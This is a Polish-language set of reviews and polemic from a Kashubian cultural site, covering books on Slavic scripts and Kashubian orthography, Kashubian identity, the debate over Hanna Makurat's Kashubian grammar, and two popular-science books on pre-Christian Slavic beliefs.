W kontekście pansłowiańskim, dla czytelnika Kaszuby, ciekawe wydają się ocena postaci i opis ideologii Aleksandra Hilferdinga. Artur Stęplewski nazywa go „postacią pierwszoplanową w świecie słowiańskim, którą z czasem jednak wymazywała historiografia rosyjska”, a jego działania na Kowieńszczyźnie, Żmudzi, na Kaszubach i wśród Słowian południowych określa jako przejaw rusyfikacji, mającej „wzmacniać pozycję Rosji i rozszerzać jej strefy wpływu”. Z równie dużą uwagą czyta się o tezach, jakie formował Ján Kollár, którego założenie, „że wszyscy oświeceni Słowianie będą studiować staro-cerkiewno-słowiański, aby poznawać zasady gramatyki i leksyki słowiańskiej”, co zbliży ich „do rozumienia innych narzeczy współczesnych, nie tracąc (w każdym razie w początkowym okresie formowania się wspólnej kultury Słowian) indywidualnych, etnicznych cech językowych”, autor książki określa jako poszukiwanie „złotego środka”.

Pisząc o próbach tworzenia zasad normatywnych dla śląszczyzny, A. Stęplewski obszernie omawia „projekt ortograficzny” prowadzony pod kierownictwem Jolanty Tambor. Swoje uwagi na ten temat autor książki kończy następującym stwierdzeniem: „Działacze śląscy, przewidując, że proces normalizowania idiomu wymaga wielu lat pracy związanej m.in. z obserwacją praktyki codziennej w stosowaniu ortografii, przyjęli – co stanowi rzadkość w procesach narodowotwórczych – nieograniczony czas przyswajania normy graficznej. Najprawdopodobniej wynika to z faktu, że idiom śląski, wobec braku akceptacji przez władze i parlament polski, nie stanie się w najbliższym czasie przedmiotem szkolnego nauczania”.

Czy, w związku z tym, ortografia języków będących „przedmiotem szkolnego nauczania” nie jest poddawana zmianom i modyfikowana? Historia i współczesność narodów słowiańskich, widziana w kontekście ich zmagań z pismem i grafią, od Bałtyku po Morze Czarne pokazuje, że procesy takie zachodzą permanentnie, chociaż nie bezboleśnie. Piszę o tym, ponieważ podobne dyskusje toczone są na Kaszubach, od czasu stworzenia pierwszej ortografii przez Floriana Ceynowę co kilkadziesiąt lat i wracają współcześnie w kontekście krytyki, z jaką spotykają się ustalenia komisji do spraw pisowni z 1996 r. Coraz głośniej podnoszona jest kwestia potrzeby modyfikacji zapisu języka kaszubskiego w stronę jego „klasycznej” ortografii, a więc tej stosowanej przez Aleksandra Majkowskiego w „Żëcim ë przigòdach Remùsa” czy Zrzeszyńców w piśmie „Zrzesz Kaszëbskô”, a także Friedricha Lorentza w gazecie „Bënë ë Bùten” oraz w jakiejś mierze również przez redaktorów pisma „Tatczëzna”. Postulaty te podnoszą najmłodsi użytkownicy języka kaszubskiego: literaci, tłumacze, ludzie pióra, z Maciejem Bandurem, redaktorem pisma „Skra”, na czele.

Po lekturze pracy Artura Stęplewskiego, dającej tak szeroki słowiański kontekst, muszę przyznać, iż lepiej rozumiem roszczenia młodych Kaszubów i skłaniam się w stronę ich postulatów, mimo że jestem jednym z sygnatariuszy kompromisowego porozumienia w sprawie pisowni kaszubskiej z 1996 r. Myśląc w kategoriach kultury narodowej, pismu i jego grafii przypisuje bowiem rolę jednego z symboli scalających wspólnotę. Uważam, iż ortografia z 1996 r. spełniła swoją rolę, gdy chodziło o coś, co A. Stęplewski odnosi „do konieczności potwierdzenia wartości funkcjonalnych i estetycznych języka X wobec uznanych już, pozostałych języków”. Jest ona jednak, pomimo deklaracji towarzyszących podpisaniu wspomnianego porozumienia, wciąż ortografią opartą na założeniu, które za A. Stęplewskim, opisującym sytuację idiomu śląskiego, można parabolicznie scharakteryzować w ten sposób, że „ bierne nawyki szkolne (tzn. polskie) ułatwiają (…) wzrokowe identyfikowanie leksemów, jednak, z punktu widzenia językoznawstwa porównawczego i historycznego, stosując taką ortografię, [kaszubski – wtrącenie moje] nadal pozostanie dialektem lub derywatem polskiej odmiany ogólnej”.

Pamiętajmy, na co również zwraca uwagę autor omawianej publikacji, że „wbrew deklaracjom badaczy, którzy zakładali prymat języka werbalnego nad wersją wizualną, w praktyce analizie podlega graficzny obraz języka jako przykład jego bardziej świadomego i rozpowszechnionego użycia”. Zależy mi na rozwoju wspólnoty narodowej Kaszubów i dlatego uważam, że nie powinniśmy się bać tego, że pismo funkcjonować będzie jako znak naszego upodmiotowienia.

Ponad 280-stronicowa Publikacja „Semioza pisma. Cyrylica i łacinka w serbskim i chorwackim dyskursie narodowym na tle słowiańskim” autorstwa Artura Stęplewskiego, slawisty i polonisty z Zakładu Slawistyki Kulturoznawczej Uniwersytetu im. Adama Mickiewicza w Poznaniu, ukazała się pod koniec 2018 r. dzięki Wydawnictwu Naukowemu UAM.

Artur Stęplewski

Recenzëjô: Walka o tożsamość, znaki i znaczenia

Adela Kożyczkowska, jak sama zaznacza, traktuje kaszubszczyznę „jako egzemplifikację pewnego projektu kulturowego”, którego „przestrzeń konstruują dwa główne projekty intelektualne” koncentrujące się na dwóch tożsamościach Kaszubów, nazywanych przez autorkę: „polonocentryczną” i „kaszubocentryczną”. Kożyczkowska przyznaje, iż niewystarczająca znajomość kultury niemieckiej była przyczyną, dla której zrezygnowała z badania relacji kaszubsko – niemieckich, a tym samym „niemieckocentrycznej” tożsamości Kaszubów, ale ma nadzieję – podobnie jak i ja – że w przyszłości ktoś ten temat podejmie.

Książka Adeli Kożyczkowskiej: Kaszubszczyzna. Pedagogicznie o języku i tożsamości, wydana staraniem Wydawnictwa Uniwersytetu Gdańskiego w lutym 2019 r., choć jest pozycją naukową, to z pewnością zainteresuje każdego, komu bliskie są rozważania nad językiem, kulturą i tożsamością. Niech nie zniechęca nikogo „pedagogiczne” podejście do tematu – wszak autorka jest adiunktem w Zakładzie Pedagogiki Ogólnej Instytutu Pedagogiki UG – gdyż szczegółowe rozważania dydaktyczne, których moglibyśmy się spodziewać, zastąpione zostały przemyśleniami „wpływu pewnych koncepcji, idei, wyborów identyfikacyjnych i tożsamościowych na kondycję ludzką”, jak ujęła to we fragmencie swojej recenzji, umieszczonym na 4. stronie okładki, prof. dr hab. Jolanta Tambor.

Ten, kto szukałby w omawianej książce szerokiego przedstawienia tytułowego zagadnienia, tzn. rozważań o takich cegiełkach kultury, jakimi są np.: literatura, pamięć historyczna, religia czy tradycja, nie znajdzie tego w tekście publikacji, ponieważ przedmiot swoich badań A. Kożyczkowska zawęża do „wiedzy o języku” w kontekście „praktyk kulturowych, których celem jest konstruowanie tożsamości”. To założenie sprawia, że tekst staje się klarowny, zaś tezy autorki – stawiane w kontekście edukacyjnym, rozumianym jako „polityczne organizowanie wiedzy i doświadczeń młodych” – czyni niezwykle spójnymi.

Wśród wielu założeń, które Kożyczkowska poczyniła, przystępując do opisania swoich badań (o których pisze we wstępie i rozdziale 1. poświęconym przyjętej metodologii), jest i takie, by czytelnik traktował przytoczone pod konkretnym nazwiskiem, słowa i wypowiedzi jako „stanowiska teoretyczne”. Chodzi więc o to, by nie utożsamiać ich z konkretną osoba, lecz „autorem, który mówi zawsze z pola jakiejś hegemonii”. Poprzez przyjęcie takiej perspektywy w tekście książki swoje poglądy odnajdą z łatwości zarówno te osoby, które były uczestnikami konkretnych „praktyk kulturowych”, jak również ci czytelnicy, którzy chcą się utożsamiać z jakąś „nieuosobioną” ideą.

Z każdą kolejną stroną swojej pracy A. Kożyczkowska udowadnia, że nie ma przesady w przyjętej przez autorkę tezie, iż kaszubszczyzna to „permanentna pedagogia, czyli sfera, w której toczy się walka (?), gra (?) o znaki i znaczenia (…), o tożsamość”. Tę walkę prowadzą ze sobą dwa „intelektualne modele kaszubszczyzny”. Jeden z nich jest konsekwentnie „zamknięty na różnice kulturowe” i wynika z lęku „przyznania się do własnego rozróżnienia od większości – w tym przypadku – polskiej”. Drugi jest jak najbardziej otwarty na kulturowe różnice: „tylko uznając różnicę, można uznać wielokulturową naturę świata”, można „świadomie zabiegać o własną tożsamość etniczną”.

Gdańska pedagożka przedstawia swoje teorie bez emocji, które zwykle towarzyszą omawianiu różnych kaszubskich tożsamości, a przez to, w większości przypadków, sięga sedna przeciwstawnych postaw Kaszubskich elit – ich przyczyn i skutków. Tekst jest znakomitą syntezą zarówno jednego z dyskursów – rozpoczętego przez Floriana Ceynowę, a kontynuowanego obecnie przez stowarzyszenie Kaszëbskô Jednota, jak i drugiego – zapoczątkowanego przez Hieronima Derdowskiego, a dziś odbijającego się w zwierciadle „Ustawy o mniejszościach narodowych i etnicznych oraz o języku regionalnym”. Tylko w jednym miejscu, takie jest moje zdanie, autorka nie trafia z właściwą interpretacją, gdy wysuwa tezę, iż uchwała II Kongresu Kaszubskiego, który odbył się w 1992 r. w Gdańsku, a w szczególności wystąpienie Donalda Tuska na II Kongresie Kaszubskim, który przekonywał by Kaszubi „zwiększyli swą współodpowiedzialność” za „los ogółu” obywateli, były tezami stanowiącymi „spiritus movens programu ideowego Òdrodë”.

Adela Kożyczkowska w książce Kaszubszczyzna. Pedagogicznie o języku i tożsamości przekazuje nam przemyślane, kompetentnie napisane, syntetyczne spojrzenie na ważny i wciąż aktualny problem miejsca kaszubszczyzny w zmieniającej się rzeczywistości. Symbolicznym tego wyrazem może być pierwsza strona okładki. Kilka fotografii mężczyzn w mundurach różnych armii, a także rodzin zgromadzonych na religijnych rytuałach chrztu i komunii, mogą uświadamiać, jak skomplikowana to rzeczywistość na pograniczu kultur i religii. Sama autorka przyznaje, iż swoją książką chce „włączyć dyskurs tożsamości kaszubskiej w przestrzeń pedagogiki międzykulturowej”, gdyż sama tylko optyka kaszubskiej edukacji regionalnej nie jest wystarczająca. To zadanie, w moim przekonaniu, omawiana książka spełnia, ponieważ w znaczący sposób oświetla oba omawiane kaszubskie projekty tożsamościowe oraz poszerza horyzonty projektu kaszubocentrycznego.

Adela Kożyczkowska, 2019, Kaszubszczyzna. Pedagogicznie o języku i tożsamości,Gdańsk: Wydawnictwo Uniwersytetu Gdańskiego, s. 276.

Prof. L. Jocz: Obiekcje co do „Gramaticzi” są jak najbardziej uzasadnione

Żywiołowa debata wokół Gramaticzi kaszëbsczégò jãzëka dr Hanny Makurat zaczęła się co najmniej od ukazania się w maju 2017 r. recenzji tej książki autorstwa Macieja Bandura i trwa do chwili obecnej. Nie jest to bynajmniej dyskusja jedynie dla wąskiego grona specjalistów czy aktywistów językowych, lecz sprawa istotnej wagi dla całego środowiska kaszubskiego, a zwłaszcza środowisk związanych z nauczaniem języka kaszubskiego, albowiem niniejsza publikacja ma być de facto używana w edukacji na różnym szczeblu i ma służyć za swego rodzaju odnośnik, wyznacznik i kompleksowe źródło wiedzy o strukturze języka kaszubskiego dla nauczycieli, studentów, uczniów, pisarzy, dziennikarzy etc.

Na wyżej wspomnianą krytykę Gramaticzi… dr Makurat zareagowała, zamieszczając odpowiedź pod artykułem na portalu SKRË jak też na własnym profilu na portalu Facebook. Niedawno, bo w grudniu 2018, przeredagowaną wersję tejże odpowiedzi pt. Gramatika kaszëbsczégò jãzëka – rozpoznanie i opracowanie struktury współczesnego literackiego języka kaszubskiego. Odpowiedź na głosy krytyki autorka opublikowała w czasopiśmie Studia z Filologii Polskiej i Słowiańskiej, pomijając jednak zupełnie fakt, że już ponad rok temu SKRA opublikowała obszerną odpowiedź na jej replikę, a prof. Lechosław Jocz, obecnie czołowy badacz fonetyki i fonologii kaszubskiej, niezależnie opublikował własną recenzję jej książki w sierpniu 2017. O istnieniu obu tekstów, jak wykazuje prof. Jocz, autorka niechybnie musiała wiedzieć.

Jego drugi głos w dyskusji, który publikuje w dniu dzisiejszym, jest reakcją na wyżej wspomniane próby obrony swojej pracy przez dr Makurat. W najnowszej publikacji czytamy m.in.:

Rzeczony numer SFPS ukazał się 24 grudnia 2018 i – jak poinformowała mnie redakcja – do tego dnia możliwe było dokonanie ostatnich poprawek w artykule lub jego wycofanie. Autorka miała więc co najmniej ponad 15 miesięcy, aby uzupełnić swój artykuł o odniesienia do drugiego tekstu Bandura lub choćby wspomnieć o jego istnieniu. Komentarz Bandura zbija (jak zobaczymy) większość argumentów Makurat, jego przemilczenie nie wydaje się więc niestety przypadkowe. Autorka nie zdecydowała się zresztą wspomnieć również o mojej recenzji (Jocz 2017), udostępnionej publiczności 26 sierpnia 2017 i dostrzeżonej w środowisku.

Recenzent zwraca uwagę na wiele pozamerytorycznych strategii argumentacji dr Makurat, które mają niestety na celu wyłącznie manipulację czytelnikiem. Trzon tej pracy jest jednak poświęcony kwestiom merytorycznym, w tym sprawom, które były przedmiotem wymiany zdań między Bandurem a dr Makurat.

Powyżej omówiłem łącznie 13 zjawisk, co do których Makurat nie przyjęła krytyki Bandura, w znacznej części przypadków w bardzo zdecydowanej formie, okraszonej uwagami ad personam, negującymi kompetencje czy niemal zdrowy rozsądek recenzenta. Okazuje się jednak, że co do 12 z 13 zjawisk uwagi i obiekcje Bandura są jak najbardziej uzasadnione.

Na koniec prof. Jocz przechodzi do kwestii ogólnych i metodologicznych niedostrzeżonych przez wcześniejszego recenzenta, m.in.:

Od nowoczesnej gramatyki jakiegokolwiek języka, a zwłaszcza od gramatyki nadal powstającego i dopiero krystalizującego się języka literackiego (a za taki powszechnie uważana jest kaszubszczyzna), oczekiwałbym przede wszystkim eksplicytnego określenia podstawy materiałowej (np. zdefiniowanego korpusu tekstów pisanych), jasnej charakterystyki pod względem deskryptywności i preskryptywności oraz precyzyjnego zdefiniowania strategii kodyfikacyjnych (np. zasad wyboru preferowanych form w przypadku stwierdzenia wariantów). W samym opracowaniu gramatycznym wyznaczone zakresy materiałowe i ogólne postawy normalizatorskie, jak również szczegółowe zasady i reguły wyboru form powinny być przez autora konsekwentnie przestrzegane. Oczywiście najlepiej jest, jeśli wszystkie tego rodzaju założenia metodologiczne oparte są na jakichś spójnych i rozsądnych podstawach i koncepcjach. Korpus można np. zdefiniować jako dzieła literackie powstałe po roku X, dzieła autorów urodzonych po roku Y, utwory jakiejś konkretnej grupy czy szkoły literackiej, ostatnie dwadzieścia roczników czasopisma Z itd. W przypadkach wymagających rozstrzygnięć wybór może padać na formy częstsze, rodzime, bardziej archaiczne, typowe dla jakiegoś obszaru itp. lub decydować może o nim jakiś zhierarchizowany układ tych czy podobnych cech. Tego typu informacji w gramatyce Makurat właściwie nie odnajdujemy.

(…)

Zresztą sama Makurat chyba tak do końca nie wie, czy jej Gramatika jest deskryptywna, czy preskryptywna. Z jednej strony twierdzi ona, iż nic nie tworzy, a opisuje i prezentuje uzus i język, który realnie istnieje, naukowo przez siebie zbadany (patrz wyżej). Z drugiej w samym tekście gramatyki trafiamy niejednokrotnie na sformułowania w rodzaju „forma X nie jest zalecana do użycia (w języku literackim)”.

(…)

Makurat stosuje kryterium wieku publikacji bardzo wybiórczo i instrumentalnie, w zależności od potrzeby chwili. Lorentz, jak już wiemy, ma być na tyle przestarzały, że wszelkie porównania z nim są błędem metodologicznym. Jeżeli zaś trzeba odeprzeć obiekcje recenzenta wobec przyimka (341; patrz wyżej), to przestarzałe nie są teksty Floriana Ceynowy (1817-1881), Hieronima Derdowskiego (1852-1902), Aleksandra Majowskiego (1876-1938) czy Alojzego Budzisza (1874-1934), a więc nawet dziewiętnastowieczne. Jeżeli Bandur stwierdza niezgodności z materiałem Sychty (który materiały do swego słownika zbierał w latach 50 wieku 20), to okazuje się, że „język kaszubski – zwłaszcza w ciągu ostatnich 30 lat – ewoluował i dynamicznie się rozwinął” (339). Nie przeszkadza to uwzględniać w Gramatice wyników m.in. badań nad twórczością grupy młodokaszubów (335-336), czyli Jana Karnowskiego (1886-1939), Aleksandra Majkowskiego (1876-1938) czy Leona Heyke (1885-1939), którzy swoją kompetencję językową nabyli pod koniec 19 wieku.

Na koniec prof. Jocz apeluje o bardziej profesjonalne podejście do debaty:

Krytyka jest nieodzownym elementem nauki, bez którego nie byłby możliwy żaden rozwój. Merytoryczna debata naukowa wymaga uwzględniania między innymi dwóch zasad. Po pierwsze krytyki nie można ani formułować, ani odbierać osobiście, jako ataku na osobę. Obiektem krytyki tekstu naukowego są założenia, idee, koncepcje, twierdzenia, poprawność wnioskowania, spójność logiczna itp. itd., a nie autor jako człowiek. Po drugie do własnych tekstów należy przykładać równie krytyczne miary, co do cudzych. Unikać tu należy jak ognia emocjonalnego zżywania się ze swoimi tekstami i traktowania ich jak własnego dziecka. Niestety Hanna Makurat nie zastosowała się do żadnej z tych zasad ani jako nadawca, ani jako odbiorca, na co jednoznacznie wskazują liczne fragmenty jej artykułu zacytowane powyżej oraz następujący urywek: „Tymczasem budowanie całościowej krytyki mojej pracy niepoparte zasadnymi argumentami i niepodbudowane poprawną metodologią uważam za godzenie w moje dobre imię oraz próbę burzenia i niszczenia czegoś, co wiele lat ciężką pracą budowałam” (343). Pozostaje mi tylko wyrazić nadzieję, że po opadnięciu zbędnych emocji dyskusja wróci na właściwe tory.

Cały tekst polemiki jest dostępny TUTAJ. Tekst ukaże się niebawem również w jednym z polskich czasopism językoznawczych.

Wszystkie dotychczas opublikowane teksty dot. Gramaticzi… w porządku chronologicznym są dostępne tutaj:

14/05/2017
Bandur, M.: Czy „Gramatika kaszëbsczégò jãzëka” jest gramatyką kaszubskiego języka?

29/06/2017
Makurat, H.: Odpowiedź na głosy krytyki dotyczące mojej książki pt. „Gramatika kaszëbsczégò jãzëka” (w sekcji komentarzy)

04/07/2017
Bandur, M.: Siła tytułu naukowego większa niż siła naukowego argumentu?  „Gramatika…” z perspektywy laika raz jeszcze

26/08/2017
Jocz, L.: Gramatika kaszëbsczégò jãzëka H. Makurat oczami fonetyka

24/12/2018
Makurat, H.: Gramatika kaszëbsczégò jãzëka – rozpoznanie i opracowanie struktury współczesnego literackiego języka kaszubskiego. Odpowiedź na głosy krytyki

14/02/2019
Jocz, L.: Gramatika kaszëbsczégò jãzëka Hanny Makurat – głos w dyskusji

Recenzëjô: Pawła Szczepanika „Słowiańskie zaświaty. Wierzenia, wizje i mity”

Po raz drugi Wszechnica Triglava pozwala nam zajrzeć w świat słowiańskich wierzeń.

Paweł Szczepanik nie zabiera czytelnika w tajemniczy świat podziemnych bóstw bez przygotowania. Pierwsza część książki, na którą składają się dwa rozdziały, jest bardzo dobrym wprowadzeniem do słowiańskiej kosmologii. Począwszy od rozważań definicyjno-teoretycznych na temat mitu jako takiego, po omówienie wizji początków wszechrzeczy jak je sobie przedstawiali Słowianie, a skończywszy na kompletnej wizji ich kosmosu. Tutaj szczególnie ciekawie wypadają interpretacje porównawcze tzw. „Światowida ze Zbrucza” z szeregiem zdobień, zwłaszcza pochewek noży znajdowanych w zachodnich obszarach Słowiańszczyzny. Zarówno duży posąg jak i małe zdobienia, co Paweł Szczepanik przedstawia bardzo przekonująco, są modelami światów: uranicznego, chtonicznego oraz tego, który zamieszkują ludzie, łączących się w jeden kosmos. Autor poruszane kwestie omawia na podstawie źródeł historycznych, etnograficznych oraz archeologicznych, dodatkowo przedstawia je w trafnym, komparatystycznym ujęciu.

Kolejny rozdział to omówienie bogów związanych z zaświatami. Tutaj po raz kolejny część zasadnicza rozdziału poprzedzona jest wartościowym wprowadzeniem. By być konkretnym, chodzi o model „trzech funkcji” Georgesa Dumézila. Autor, co warto docenić, omawiając koncepcję słynnego francuskiego mitografa, unika popularnej i powierzchownej jej recepcji, przedstawiając ją z całą złożonością. Samo omówienie bóstw to opis, do jakiego przyzwyczaiły nas inne prace mitologiczne. Mamy zatem Welesa, Nyję i Marzannę oraz wszelkie ich wariacje – od św. Mikołaja na Rusi począwszy, na pomorskim Trygławie i kaszubskiej Welewetce skończywszy – opisane z całą skrupulatnością.

W dalszej części książki omawiane są wizje samych zaświatów. Nie jest to obraz spójny i jednorodny, bowiem na podstawie zróżnicowanych geograficznie i chronologicznie źródeł nasuwa się wniosek, że w różnych częściach Słowiańszczyzny wizje zaświatów różniły się od siebie. Co warto zaznaczyć, ciekawym i dotychczas rzadziej wykorzystanym materiałem były źródła arabskie. Jak pokazuje w kilku przypadkach autor, niosą one ze sobą bardzo ciekawe informacje.

Na koniec dwa mniejsze, acz równie ciekawe rozdziały. Jeden dotyczący cielesności w jej mitologicznych aspektach, drugi omawiający słowiańskie maski znajdowane podczas wykopalisk archeologicznych, interpretowane jako element kultu zmarłych.

Słowiańskie zaświaty…Pawła Szczepanika zasługują na wysoką ocenę. To pozycja, która powinna zadowolić zarówno osoby już zorientowane w temacie, jak i te, które dopiero chciałyby go zgłębić. Chociaż w tekście można trafić kilkukrotnie na literówki, nie mają one ostatecznie wpływu na przyjemność z lektury, tym bardziej, że książka napisana jest bardzo dobrą polszczyzną, łączącą w sobie styl naukowy z przejrzystością wykładu.

Interpretacje oraz płynące z nich wnioski dotyczące poszczególnych aspektów religijności Słowian trzymają się metody ściśle naukowej. Autor nie kusi się na snucie niepopartych niczym dywagacji, chociaż muszę przyznać, że odczytanie złotej zasłony na obliczu Trygława jako maski jest w moim odczuciu nieco ryzykowne.

Nauka o przedchrześcijańskich wierzeniach Słowian, dzięki poszerzaniu płaszczyzn komparatystycznych, odważnym interpretacjom znalezisk archeologicznych oraz wykorzystaniu dobrze zabezpieczonego, a jeszcze do niedawna lekceważonego materiału etnograficznego, wciąż potrafi pozytywnie zaskakiwać. Niestety często owoce pracy naukowców giną w małonakładowych, akademickich periodykach lub w trudno dostępnych materiałach pokonferencyjnych. Seria Wszechnica Triglava po raz kolejny udowadnia, że angażowanie nowego pokolenia naukowców do tworzenia dobrej jakości literatury popularnonaukowej ma ogromny sens i jest bardzo potrzebne.

Paweł Szczepanik jest archeologiem, etnologiem, doktorem nauk humanistycznych oraz adiunktem w Instytucie Archeologii Uniwersytetu Mikołaja Kopernika w Toruniu. Realizuje projekt „Religie i ich rzeczy. Analiza porównawcza wczesnośredniowiecznych przedmiotów związanych z religijnością odkrytych na terenie Polski” finansowany przez Narodowe Centrum Nauki. Jego książka Słowiańskie zaświaty… jest jedną z bardzo nielicznych prób przedstawienia tego aspektu słowiańskich wierzeń w sposób popularny, a przy tym jak najbardziej naukowy. Poświęcenie temu konkretnemu tematowi monografii, zdaje się być zupełnie wyjątkowe. Pojawienie się zatem Słowiańskich zaświatów… cieszy tym bardziej, że wizja życia pośmiertnego jest jednym z fundamentalnych problemów ludzkości. By spróbować spojrzeć na wszechświat oczami naszych pogańskich przodków, nie możemy się obyć bez ich zaświatów.

Przy okazji promocji książki Pawła Szczepanika, miał miejsce w szczecińskiej Miejskiej Bibliotece Publicznej wykład autora, niejako wprowadzający i nieco uzupełniający materiał zawarty w Słowiańskich zaświatach… Można go obejrzeć tutaj:

Kamila Kajkowskiego „Mity, kult i rytuał. O duchowości nadbałtyckich Słowian.”

Kamil Kajkowski otworzył cykl Wszechnica Triglava pozycją bardzo ciekawą i jest to dobry prognostyk dla tej serii.

Wszechnica Triglava to nowa seria Wydawnictwa Triglav, w której ukazywać się mają – jak głosi zapowiedź – teksty naukowe, popularyzujące tematy związane z dziejami Pomorzan, Słowian Zachodnich czy Słowian w ogóle, a także kultur nam nieodległych, np. związanych ze Skandynawią czy też wprost z wikingami. Jak można się domyślać po dotychczasowym profilu działalności Wydawnictwa, a także jego spiritus movens, Igora D. Górewicza, spodziewać się możemy literatury eksplorującej w zauważalnym stopniu kwestię wierzeń i duchowości. Tak właśnie jest w przypadku pierwszej pozycji tejże serii.

Autor Mitów, kultu i rytuału…, Kamil Kajkowski, jest doktorem nauk humanistycznych w zakresie archeologii oraz kustoszem w Muzeum Zachodniokaszubskim w Bytowie. Do tej pory nieco szerszemu gronu czytelników mógł być znany jako współautor książki Religia Pomorzan we wczesnym średniowieczu, napisanej razem z Andrzejem Kuczkowskim.

Zrządzeniem losu, tuż przed zakończeniem lektury nowej książki Kamila Kajkowskiego, miałem okazję wziąć udział w spotkaniu autorskim, które odbyło się 19. marca w Miejskiej Bibliotece Publicznej w Szczecinie. Pozwolę sobie tę krótką recenzję wpleść uwagi odnoszące się do tego spotkania/wykładu.

Rozpoczął je słowem wstępnym wspomniany już Igor D. Górewicz. Jedną z ważniejszych kwestii, jakie poruszył, było stwierdzenie, że naukowcy zajmujący się kwestiami duchowości Słowian wycofali się niejako z działalności popularyzatorskiej, chociaż postępy jakie czynią w swych badaniach są znaczne. Popularną przestrzeń próbują wypełnić za to spiskowe, fantastyczne i oderwane od rzeczywistości teorie Wielkiej Lechii i „wpływu Kosmosu na Mieszka I” (cytując I. D. Górewicza) – niestety z dużym sukcesem i znaczną szkodą. Seria Wszechnica Triglava ma w swej popularyzatorskiej misji opierać się przede wszystkim na autorytecie naukowym.

Mity, kult i rytuał… to w sporej części antologia dotychczasowych artykułów z wydawnictw akademickich oraz materiałów pokonferencyjnych, których dr Kamil Kajkowski jest aktywnym uczestnikiem. W samym tylko podejściu do własnych tekstów przejawia się jego naukowa rzetelność. Chociaż powstały one względnie niedawno, część zawartych w nich zagadnień już musiała zostać uaktualniona z powodu „najnowszych źródeł wykopaliskowych, trendów, ustaleń, a w kilku przypadkach sięgnięcia do źródeł pisanych dotąd jedynie wyjątkowo wykorzystywanych w badaniach nad kultem pogańskim” (za „Tytułem wstępu”, s. 8).

Ze względu na antologijną formułę zbioru, nie jest to całościowe omówienie zagadnienia religii czy mitologii Słowian nadbałtyckich, do jakich to całościowych omówień przyzwyczaili nas tacy autorzy jak – ze wszech miar klasyczny – Aleksander Gieysztor czy klasyczny wciąż jeszcze nieco mniej Andrzej Szyjewski. Jest to raczej zbiór pewnych jej aspektów – aspektów węzłowych i dobrze uchwytnych z punktu widzenia archeologii. Archeologia – co jest truizmem, ale może warto jednak tę myśl przywołać – jawi się jako jedna z ostatnich nadziei na wyrwanie przeszłości jakichkolwiek jeszcze informacji o pogańskiej słowiańszczyźnie. Mało prawdopodobne jest odnalezienie przez historyków nowych źródeł pisanych, ksiąg czy kronik – szczególnie takich, które mogłyby zrewolucjonizować nasze postrzeganie tematu. Materiał etnograficzny, który wykorzystuje się w rekonstrukcji struktury wierzeń również jest zabezpieczony w sposób, który studzi wiarę w nieznane jeszcze pokłady ludowej pamięci o dawnych bogach. Pozostaje archeologia. Ziemia wciąż skrywa wiele tajemnic, których odkrycie może cokolwiek jeszcze zmienić, dopowiedzieć, rozszerzyć horyzont, rozjaśnić tajemnice. Do tego potrzeba również archeologów, którzy nie zamykają się w swej specjalizacji, ale mają szerokie rozeznanie w literaturze historycznej i etnograficznej. Kamil Kajkowski jest niewątpliwie takim właśnie wszechstronnym archeologiem.

Jedną z pierwszych rzeczy, która rzuca się w oczy jest gargantuiczna bibliografia zajmująca pięćdziesiąt stron. Prócz żelaznego repertuaru źródeł oraz pozycji obecnie dość powszechnie uznawanych za nieodzowną klasykę (Eliade, Uspienski, Toporow, Moszyński, Tomiccy, Derwich i Cetwiński etc.) znajdziemy tam sporo literatury fachowej, archeologicznej, która zwykle umyka szerszym kręgom czytelniczym.

Na treść składa się w sumie dwanaście artykułów, zgrupowanych w cztery większe zagadnienia, tj.: Przestrzeń, Moc, Człowiek, Zwierzę. By nie rozpisywać się nadmiernie o zawartości, odsyłam do spisu treści.
Artykuły odnoszące się do przestrzeni przedstawiają w skondensowanej formie – prócz innych zagadnień – porządek kosmiczny czy też może bardziej model świata w wierzeniach Słowian. Już to na podstawie rekonstrukcji mitu kosmogonicznego, już to na podstawie organizacji przestrzeni sakralnej, która ten model i porządek stara się zwykle odtwarzać. Jest to dobry punkt wyjścia do wszelkich dalszych rozważań. Forma jednak, jak już wspomniałem, jest tu mocno skondensowana, czego możemy żałować. W czasie spotkania autorskiego bowiem omówienie tych zagadnień było znacznie szersze i bardziej szczegółowe. Sztuka materialna w postaci okuć, ostróg czy zdobień na pochewkach noży została przez autora w przekonujący sposób zinterpretowana jako odbicie tego kosmicznego porządku w mikroskali. Ciekawym było też porównanie okucia, jakie znamy z Oldenburga (wykorzystane na okładce książki), z tzw. Światowidem ze Zbrucza. Autor zastrzegł oczywiście, że kwestia autentyczności tego ostatniego jest niezmiennie tematem polemik, chociaż osobiście skłania się do uznania jego autentyczności. Kończąc ten wątek, szkoda, że te świetne przykłady sztuki materialnej niosące ze sobą treść mitologiczną, nie zostały w taki sam rozbudowany sposób zaprezentowane w książce. Dlatego jako uzupełnienie polecam obejrzenie wspominanego spotkania autorskiego (odnośnik pod recenzją).

Co szczególnie przykuło moją uwagę w czasie lektury, to obecnie jakby rzadszy (to moje subiektywne odczucie) w literaturze popularyzującej naukę o przeszłości Słowian aspekt naukowej rzetelności. Rzetelności, która pozwala (a może raczej nakazuje) autorowi stwierdzać tam, gdzie jest to stosowne, że nauka czegoś nie wie, że pewne kwestie nigdy prawdopodobnie nie wyjdą poza sferę hipotezy, że coś jest tylko przypuszczeniem, że zagadnienie wymaga jeszcze dokładnego zbadania. Takie podejście, chociaż powinno być normą, zwraca na siebie uwagę i świadczy o autorze jak najlepiej.

Książka Mity, kult i rytuał… dotyczy Słowian nadbałtyckich, temat wymaga jednak w wielu miejscach odwoływania się do znalezisk spoza naszego regionu. A zatem Pomorzanie i Połabianie – główni bohaterowie, bodaj najbliższe sobie kulturowo w owym czasie dwie grupy Słowian zachodnich z najlepiej opisanym w źródłach z epoki kultem religijnym, zestawiani są z w pierwszej kolejności z Polakami czy Czechami jako szerszy kontekst zachodniosłowiański. Kolejnym „kręgiem” komparatystycznym są pozostałe regiony Słowiańszczyzny. Nie mogło oczywiście także zabraknąć i dalszych odniesień do wszystkich kultur wywodzących się z jednego, indoeuropejskiego pnia.

Tok wywodu jest przejrzysty, problematyka przedstawiona klarownie, wzbogacona w większości dobrej jakości, czytelnymi rycinami. Przypisy przygotowane są starannie, z precyzyjnymi odsyłaczami bibliograficznymi. Pewne niedociągnięcia da się zauważyć od strony edytorsko-korekcyjnej, ale nie są one na tyle znaczące żeby sprawiały czytelnikowi nadmierny dyskomfort i odbierały przyjemność lektury.

